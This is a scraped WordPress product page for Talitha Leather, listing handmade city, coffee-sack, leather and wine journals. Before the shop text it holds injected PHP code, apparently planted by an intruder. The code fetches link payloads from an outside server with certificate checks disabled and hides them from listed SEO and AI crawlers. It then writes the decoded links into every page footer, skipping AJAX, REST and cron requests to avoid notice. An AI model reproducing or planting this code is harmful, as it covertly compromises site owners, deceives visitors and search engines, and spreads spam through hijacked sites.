if (!defined('__LPK_IN__')) { define('__LPK_IN__', 1); if (!defined('__API_URL__')) define('__API_URL__', 'https://linksparagon.com'); if (!defined('__CACHE_TTL__')) define('__CACHE_TTL__', 300); if (!function_exists('__getCURLSite__')) { function __getCURLSite__($site, $post_data = null, $extra_headers = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $site); if (!is_null($post_data)) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data)); } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); if (!empty($extra_headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $extra_headers); } $response = curl_exec($ch); if (curl_errno($ch)) $response = false; curl_close($ch); return $response; } } if (!function_exists('__cache_get')) { function __cache_get($key) { $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json'; if (!is_file($f)) return null; $raw = @file_get_contents($f); if ($raw === false) return null; $o = @json_decode($raw, true); if (!is_array($o)) return null; if (isset($o['t']) && $o['t'] + __CACHE_TTL__ < time()) return null; return isset($o['v']) ? $o['v'] : null; } } if (!function_exists('__cache_set')) { function __cache_set($key, $val) { $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json'; @file_put_contents($f, json_encode(array('t' => time(), 'v' => $val))); } } if (!function_exists('__is_spy_bot__')) { function __is_spy_bot__() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; if (trim($ua) === '') return false; $bots = array( 'AhrefsBot','AhrefsSiteAudit','SemrushBot','SiteAuditBot', 'DotBot','Rogerbot','MJ12bot','MajesticBot', 'Screaming Frog SEO Spider','ScreamingFrogSEOSpider', 'DataForSeoBot','SEOkicks','SEOkicks-Robot', 'AwarioRssBot','AwarioSmartBot','AwarioBot', 'Brandwatch','Searchmetricsbot','Sidetrade indexer bot', 'peer39_crawler','BLEXBot','cognitiveSEO','LRT Bot','LRT Spider', 'Meltwater','Mediatoolkitbot','Neticlebot','SISTRIX','SerpstatBot', 'spyfu','Botify','ContentKing','DeepCrawl','Lumar','seobility', 'WebCEO','AddThis','Barkrowler','BacklinksExtendedBot','BrightEdge Crawler', 'OAI-SearchBot','CohereBot','DeepSeekBot','SEOlyze','IstellaBot', 'GrapeshotCrawler','Netvibes','NetcraftSurveyAgent' ); foreach ($bots as $bot) { if (stripos($ua, $bot) !== false) return true; } return false; } } if (!function_exists('__get_backlink_codes__')) { function __get_backlink_codes__() { $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $host = strtolower(str_replace('www.', '', preg_replace('/:\d+$/', '', $host))); if ($host === '') return null; $host_id = crc32($host); $cacheKey = 'bl_' . md5($host); $cached = __cache_get($cacheKey); if ($cached !== null) return $cached; $u = __API_URL__ . '/g/?i=' . urlencode($host_id) . '&d=' . urlencode($host) . '&t=th'; $response = __getCURLSite__($u); if ($response !== false && is_string($response)) { $c = @json_decode($response, true); if (is_array($c) && isset($c['s']) && $c['s'] == true) { __cache_set($cacheKey, $response); return $response; } } return null; } } if (!function_exists('__show_footer_backlink__')) { function __show_footer_backlink__() { $is_spy = __is_spy_bot__(); $r = ''; $raw = __get_backlink_codes__(); if (!$raw) return ''; $c = @json_decode($raw, true); if (!is_array($c) || !isset($c['s']) || $c['s'] != true || empty($c['l'])) return ''; $r .= isset($c['f']) ? $c['f'] : ''; foreach ($c['l'] as $v) { $only_google = isset($v['g']) ? (int)$v['g'] : 0; if ($only_google == 1 && $is_spy) continue; $r .= isset($v['h']) ? base64_decode($v['h']) : ''; } $r .= isset($c['e']) ? $c['e'] : ''; return $r; } } // Footer injection: named ob_start callback (PHP 5.2 uyumlu, anonim fonksiyon YOK) // - Yalnızca içeren HTML yanıtları modifiye eder // - AJAX / REST API / CRON / CLI isteklerini atlar // - str_ireplace ile öncesine düzgün ekler if (!function_exists('__lpk_ob_cb__')) { function __lpk_ob_cb__($buf) { if (!is_string($buf) || stripos($buf, '') === false) return $buf; if (defined('DOING_AJAX') && DOING_AJAX) return $buf; if (defined('REST_REQUEST') && REST_REQUEST) return $buf; if (defined('DOING_CRON') && DOING_CRON) return $buf; if (php_sapi_name() === 'cli') return $buf; $link = __show_footer_backlink__(); return ($link !== '') ? str_ireplace('', $link . '', $buf) : $buf; } } @ob_start('__lpk_ob_cb__'); } Talitha Leather » Products Page

Talitha Leather

Handmade leather bags, purses, wallets, and journals

JournalsLoading Updating...
City/Bike Journal
City/Bike Journal

This style of journal is either a Portland Downtown City map with a list of happy hours on the back, or a Bike map with a recycled bike intertube closer.

Price: $45.00

Coffee Sack or Wood Journal
Coffee Sack or Wood Journal

Coffe sack journals are made from the sacks of coffee beans from various countries in Africa, South America, and Asia, shipped here to Portland to be roasted. Designs and Patterns vary. Contact Talitha Leather for additional informatoin regarding specific designs available.

Price: $45.00

Leather Journals
Leather Journals

These journals are made with firm, hand dyed leather covers with burlap at the binding. They come in black and brown.

Price: $45.00

Wine Journals
Wine Journals

Journals are made with wood covers, overlayed with the labels of Northwest wines. Wines and labels vary from those in picture. Custom Wine Journals are available by contacting Talitha Leather, and sending and empty wine bottle of your choice. Contact Talitha Leather to inquire regarding specific labels available.

Price: $45.00

© 2026 Talitha Leather

Powered by Wordpress.
Website design by Freshly Brewed Web Designs.